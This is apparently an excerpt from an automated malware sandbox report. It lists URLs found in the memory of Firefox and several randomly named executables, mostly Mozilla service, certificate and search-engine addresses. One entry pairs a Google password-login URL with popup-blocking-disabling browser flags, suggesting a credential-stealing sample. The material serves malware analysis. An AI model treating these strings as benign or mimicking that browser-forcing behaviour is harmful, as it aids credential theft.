Source: firefox.exe, 0000001A.00000002.3332803952.00000234EED17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3332058969.00000234EEB56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3338336851.00000234EF1BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3192280668.00000234F28B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3014896613.00000234EFB18000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3016225765.00000234EF1AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3287483806.00000234EC6CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3011940172.00000234EEF1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3011406141.00000234EEF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3020124294.00000234EF173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3015273900.00000234EF1E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3119139532.00000234F15C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3169414645.00000234EF1DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3192280668.00000234F28E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3333607051.00000234EEF10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%shandlerSvc
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/NetUtil.sys.mjsisDownloadsImprove
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-captiv
Source: firefox.exe, 0000001A.00000003.3075938189.00000234F0064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/printPreviewPag
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB345000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Global
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000001.00000003.2259300060.00000000053ED000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2905906311.000000000553D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3332803952.00000234EED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244270499.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244194775.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230876517.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: b0a3006fe7.exe, 0000000D.00000003.3002781224.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, b0a3006fe7.exe, 0000000D.00000003.3003946266.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, b0a3006fe7.exe, 0000000D.00000002.3016412126.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, b0a3006fe7.exe, 0000000D.00000003.3004482270.00000000017AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.3224397709.00000234DE9B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000003.3108417044.00000234F16D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001A.00000003.3108417044.00000234F16D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224823843.00000234DEC11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA5AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3208613194.000001B2BCAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 445877ac99.exe, 0000001E.00000003.3249825676.00000000012CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA5AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3208613194.000001B2BCAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000001A.00000002.3340551849.00000234EF3E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180chrome://browser/skin/notification-icons/popup.s
Source: firefox.exe, 0000001A.00000003.3075938189.00000234F0064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001A.00000003.3075938189.00000234F0064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000003.3075938189.00000234F0064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464https://bugzilla.mozilla.org/show_bug.cgi?id=153
Source: firefox.exe, 0000001A.00000003.3075938189.00000234F0064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000003.3075938189.00000234F0064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439experimental-features-devtools-serviceworker-deb
Source: firefox.exe, 0000001A.00000003.3075938189.00000234F0064000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244270499.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244194775.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230876517.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244270499.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244194775.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230876517.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244270499.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244194775.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230876517.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3007858315.00000234EEE30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3008128044.00000234EEE51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001A.00000002.3339304289.00000234EF2C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3370312333.00000234EF545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3099245850.00000234F7741000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA5AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3208613194.000001B2BCAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: firefox.exe, 0000001A.00000002.3233955201.00000234EA5AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3208613194.000001B2BCAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000003.3099245850.00000234F775B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001A.00000003.3108417044.00000234F16D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.3224823843.00000234DEC30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224823843.00000234DEC11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: d319b3db9a.exe, 0000000C.00000003.2887185051.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, d319b3db9a.exe, 0000000C.00000002.2941246980.0000000000A4C000.00000040.00000001.01000000.00000010.sdmp, num.exe, 0000001B.00000000.2985012500.0000000000A7C000.00000008.00000001.01000000.00000014.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000002.3332803952.00000234EED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001A.00000002.3332803952.00000234EED03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.2230713070.00000000053BD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2230620645.00000000053D4000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870900801.000000000552F000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2870976705.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3115503261.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
